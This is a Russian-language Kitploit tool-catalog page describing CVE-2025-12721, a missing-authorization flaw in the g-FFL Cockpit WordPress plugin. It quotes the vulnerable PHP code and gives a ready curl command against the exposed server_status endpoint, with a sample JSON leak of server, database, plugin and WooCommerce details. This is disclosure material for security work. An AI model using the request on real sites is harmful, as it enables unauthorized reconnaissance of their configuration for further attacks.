Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12721 — g-FFL Cockpit <= 1.7.1 - Отсутствие авторизации, приводящее к неавторизованному раскрытию информации | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-12721
Анализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьТестирование на ПроникновениеНеправильная Конфигурация
GitHubd0n601/cve-2025-12721

CVE-2025-12721

g-FFL Cockpit <= 1.7.1 - Отсутствие авторизации, приводящее к неавторизованному раскрытию информации

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

g-FFL Cockpit <= 1.7.1 — Неавторизованное раскрытие информации

Плагин g-FFL Cockpit не реализует надлежащие проверки авторизации на конечной точке REST API server_status, что позволяет неавторизованным пользователям получать доступ к конфиденциальной информации о конфигурации сервера, настройках PHP, деталях базы данных, метаданных установки WordPress и информации об активных плагинах через открытую публичную конечную точку.

Эксплойты TL;DR

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq

Подробности

Функция handle_server_status() в includes/class-sync-endpoint.php получает и раскрывает всестороннюю информацию о сервере без необходимости какой-либо аутентификации или проверки прав. Конечная точка зарегистрирована с permission_callback => '__return_true', что делает её полностью доступной для любого неавторизованного посетителя.

Находится в class-sync-endpoint.php:

root@kitploit:~
88:        register_rest_route('fflcockpit/v1', '/server_status', [
89:            'methods' => 'GET',
90:            'callback' => [__CLASS__, 'handle_server_status'],
91:            'permission_callback' => '__return_true', // Public endpoint
92:        ]);

Функция handle_server_status() раскрывает:

  • Информация о сервере: версия PHP, операционная система, серверное ПО, архитектура, загрузка сервера
  • Использование памяти: текущее использование памяти, пиковое использование, лимиты памяти, процент использования
  • Конфигурация PHP: лимит памяти, лимиты времени выполнения, лимиты загрузки, макс. входные переменные, статус OPcache
  • Расширения PHP: статус загруженных расширений (curl, gd, imagick, mbstring, mysql, zip, xml, json, openssl, fileinfo)
  • Информация о базе данных: версия MySQL, кодировка/сравнение базы данных, переменные конфигурации MySQL, размер базы данных, количество запросов
  • Дисковое пространство: свободное и общее дисковое пространство, процент использования
  • Информация WordPress: версия WordPress, статус мультисайта, статус режима отладки, список активных плагинов с версиями и авторами
  • Информация WooCommerce: статус установки, версия, настройки API, количество товаров/заказов, конфигурация обработчика сессий
  • Индикаторы производительности: пороги памяти, проверки времени выполнения, статус OPcache, предупреждения о дисковом пространстве, анализ конфигурации MySQL

Уязвимый фрагмент из class-sync-endpoint.php:

root@kitploit:~
1443:                'php_version' => phpversion(),
1444:                'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445:            ];
1446:            
1447:            if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448:                $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449:            }

Дополнительное раскрытие в class-sync-endpoint.php:

root@kitploit:~
1645:                $active_plugins_list = get_option('active_plugins', []);
1646:                $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:                
1648:                if (!function_exists('get_plugins')) {
1649:                    require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650:                }
1651:                $all_plugins = get_plugins();
1652:                
1653:                $plugin_details = [];
1654:                foreach ($active_plugins_list as $plugin_path) {
1655:                    if (isset($all_plugins[$plugin_path])) {
1656:                        $plugin_info = $all_plugins[$plugin_path];
1657:                        $plugin_details[] = [
1658:                            'name' => $plugin_info['Name'] ?? 'Unknown',
1659:                            'version' => $plugin_info['Version'] ?? 'Unknown',
1660:                            'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661:                            'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662:                            'path' => $plugin_path,
1663:                            'network' => $plugin_info['Network'] ?? false,
1664:                        ];
1665:                    }
1666:                }

Ручное воспроизведение

Примечание: g-FFL Cockpit требует WooCommerce

  1. Перейдите на целевой сайт WordPress с установленным плагином g-FFL Cockpit.

  2. Выполните следующую команду curl для получения информации о статусе сервера:

root@kitploit:~
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
  1. Вы получите JSON-ответ, содержащий всестороннюю конфигурацию сервера, настройки PHP, информацию о базе данных, детали WordPress и WooCommerce, а также полный список активных плагинов:
root@kitploit:~
{
  "plugin": {
    "name": "FFL Cockpit",
    "version": "1.7.1"
  },
  "timestamp": "2024-01-15T12:34:56Z",
  "server": {
    "php_version": "8.1.27",
    "operating_system": "Linux",
    "server_software": "Apache/2.4.57",
    "architecture": "x86_64",
    "server_load": [0.52, 0.48, 0.45]
  },
  "memory_usage": {
    "current": "45.23 MB",
    "current_bytes": 47415296,
    "peak": "52.18 MB",
    "peak_bytes": 54722560,
    "limit": "256 MB",
    "limit_bytes": 268435456,
    "usage_percentage": 17.67
  },
  "php_config": {
    "memory_limit": "256M",
    "max_execution_time": "300",
    "max_input_vars": "3000",
    "post_max_size": "64M",
    "upload_max_filesize": "64M",
    "max_file_uploads": "20",
    "opcache_enabled": true,
    "opcache_memory_consumption": 67108864,
    "opcache_hit_rate": 95.23
  },
  "php_extensions": {
    "curl": true,
    "gd": true,
    "imagick": true,
    "mbstring": true,
    "mysql": true,
    "zip": true,
    "xml": true,
    "json": true,
    "openssl": true,
    "fileinfo": true
  },
  "database": {
    "mysql_version": "8.0.35",
    "charset": "utf8mb4",
    "collate": "utf8mb4_unicode_ci",
    "queries_this_request": 42,
    "mysql_config": {
      "max_connections": "151",
      "max_allowed_packet": "67108864",
      "innodb_buffer_pool_size": "134217728"
    },
    "database_size": 125.43
  },
  "disk_space": {
    "free": "15.23 GB",
    "free_bytes": 16357785600,
    "total": "50.00 GB",
    "total_bytes": 53687091200,
    "used_percentage": 69.51
  },
  "wordpress": {
    "version": "6.4.2",
    "multisite": false,
    "debug_enabled": false,
    "cache_enabled": false,
    "active_plugins_count": 12,
    "active_plugins": [
      {
        "name": "g-FFL Cockpit",
        "version": "1.7.1",
        "author": "Garidium LLC",
        "description": "g-FFL Cockpit",
        "path": "g-ffl-cockpit/g-ffl-cockpit.php",
        "network": false
      }
    ]
  },
  "woocommerce": {
    "is_installed": true,
    "version": "8.5.2",
    "api_enabled": true,
    "product_count": 1250,
    "order_count": 342
  }
}
Скачать инструмент